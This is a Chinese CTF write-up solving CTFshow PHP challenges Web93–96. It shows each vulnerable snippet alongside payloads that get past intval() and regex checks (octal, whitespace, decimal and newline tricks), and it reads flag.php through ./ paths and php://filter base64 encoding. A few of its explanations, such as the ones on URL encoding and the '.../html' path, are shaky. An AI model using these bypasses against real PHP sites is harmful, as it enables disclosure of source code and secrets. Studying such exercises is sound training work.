CTFshow系列——PHP特性Web93-96

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录


Web93

还是老样子,先看代码:

php 复制代码
<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

这个代码的作用很明显

  • preg_match("/[a-z]/i", $num):过滤所有的字母,不分大小写;这说明之前的八进制,十六进制等方式是不是就不管用了?
  • if(intval($num, 0)===4476): 这是第二个关键点,也是漏洞所在
    • intval(num, 0) 函数会尝试将 num 转换为一个整数
    • 0x 开头会被识别为十六进制
    • 0b 开头会被识别为二进制
    • 0 开头会被识别为八进制

既然不给出现字母,那我们直接纯数字不就好了:

第一个payload肯定是八进制:?num=010574

有关这个函数intval(str,int)的讲解:

  • PHP 的 intval 函数会从字符串的开始部分提取有效数值,直到遇到非数字字符就停止了
  • payload:?num=4476.1

所以payload:

bash 复制代码
# payload
?num=010574 # 进制绕过
?num=4476.1 # 小数点取整

--

Web94

php 复制代码
<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

代码分析:

  • if($num==="4476"):这是一个严格比较。它检查你的输入是否值和类型都等于字符串 "4476"。为了绕过它,你不能直接输入 ?num=4476。

  • if(preg_match("/[a-z]/i", $num)):这个过滤器使用正则表达式来检查你的输入中是否包含任何字母(不区分大小写)。这限制了你不能使用类似 "0x117c" 这样的十六进制表示,因为其中包含了字母 c。

  • if(!strpos($num, "0"))strpos() 函数查找字符串中第一次出现 "0" 的位置。

    • 如果找到了,它会返回一个非布尔 false 的值(即 0 或更大),!strpos() 的结果就是 false。
    • 如果没找到 "0",它会返回布尔 false,!strpos() 的结果就是 true,从而触发 die()。这意味着你的输入中必须包含数字 0,但开头不能是0
  • if(intval($num, 0)===4476):这是触发漏洞的核心条件。intval() 函数会根据第二个参数 0(自动识别进制)将你的输入转换为一个整数。为了获取 flag,转换后的值必须严格等于 4476。


漏洞利用

要成功获取 flag,你需要找到一个输入,它能同时满足所有四个条件

  • 不等于字符串 "4476"。
  • 不包含任何字母。
  • 开头不能为0,必须包含数字 0。
  • 被 intval() 转换为整数后,等于 4476。

这答案不是呼之欲出了吗,八进制出来吧:

在8进制010574的基础上,增加一个空格即可绕过 Payload:?num=%20010574

bash 复制代码
# payload
?num= 010574
?num=+010574
# 小数点取整
?num=4476.0

# 也可以使用换行,0是为了匹配strpos() 函数函数
?num=4476%0a0

Web95

php 复制代码
<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

老样子,先分析代码:
preg_match("/[a-z]|\./i":增加了个条件

  • 多了对.的过滤,说明小数点取整的方法不可取
  • payload:4476%0a0则被过滤了
    • 在弱类型比较中,PHP 会解析 "4476\n0",发现它以数字开头,因此将其转换为 4476

那payload也没有太大的区别:

bash 复制代码
# payload
?num= 010574
?num=+010574

Web96(新题型)

php 复制代码
<?php

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }

}

代码分析我相信大家都看得懂,所以这里就不赘述了,直接说说解题思路

  • 要绕过这个限制并读取 flag.php 的内容,就要让你的输入字符串不等于 flag.php,但最终指向的仍然是 flag.php 文件

所以我尝试了一下几种办法:

  • 大小写绕过:如果文件系统不区分大小写(例如 Windows),你可以尝试使用大小写混合的字符串。

    • Payload:?u=FlAg.pHp

    • 解释:FlAg.pHp 不等于 flag.php,所以可以绕过第一层检查。如果服务器文件系统不区分大小写,highlight_file() 依然能找到并读取 flag.php。

  • URL 编码:你可以对部分字符进行 URL 编码。

    • Payload:?u=fl%61g.php

    • 解释:fl%61g.php 在 URL 传输过程中不会被解析,但在 PHP 内部,%61 会被解码为 a,最终文件路径仍然是 flag.php。

  • 路径绕过:你可以使用相对路径或目录跳转来绕过。

    • Payload:?u=./flag.php 或 ?u=.../html/flag.php

    • 解释:./ 表示当前目录。./flag.php 不等于 flag.php,但它指向同一个文件。如果 flag.php 在 /html 目录下,.../html/flag.php 也可以绕过。

  • PHP 伪协议 :利用 php://filter 伪协议对文件进行编码,这样就不会直接匹配到 flag.php

    • Payload:?u=php://filter/read=convert.base64-encode/resource=flag.php

    • 解释:这个 Payload 会告诉 PHP 读取 flag.php 的内容,并用 Base64 编码,然后输出。编码后的字符串不会是 flag.php,但你可以将输出结果解码来获取 flag。

这里尝试了下,只有路径绕过和PHP伪协议才能得到flag:

bash 复制代码
# payload
?u=./flag.php
?u=php://filter/read=convert.base64-encode/resource=flag.php

好了,得到flag的过程暂时到此为止。接下来要是想更深入了解一点的话,可以往下看。


PHP伪协议绕过的解释:

php://filter 协议之所以能绕过 if($_GET['u']=='flag.php') 的检查,是因为它的工作原理和 PHP 内部的文件处理机制:

  • 处理流程:
  1. PHP 识别到 php://filter 协议,知道它是一个过滤器。

  2. 它接收到你的请求参数 $_GET['u'],其值是完整的字符串 php://filter/read=convert.base64-encode/resource=flag.php

  3. 这个字符串不等于 flag.php,所以它顺利通过了 if($_GET['u']=='flag.php') 的检查。

  4. 然后,highlight_file() 函数被调用,并传入了完整的 php://filter 路径。

  5. highlight_file() 内部会向这个路径发起一个文件读取请求。

  6. PHP 的文件系统层接收到这个请求后,会启动 php://filter 过滤器。

  7. 过滤器会按照请求中的指令工作:它会去读取 resource=flag.php 指定的文件内容,然后用 convert.base64-encode 对文件内容进行 Base64 编码

  8. 最终,highlight_file() 收到的是编码后的数据流,而不是 flag.php 的原始内容。

  9. highlight_file() 随后将这串 Base64 编码的文本高亮显示到页面上。

总结

此次PHP特性,也是让我遇到了很多新的方法,多学习多总结。

相关推荐
BingoGo16 小时前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack16 小时前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
cipher1 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
BingoGo2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack4 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理4 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
一次旅行4 天前
网络安全总结
安全·web安全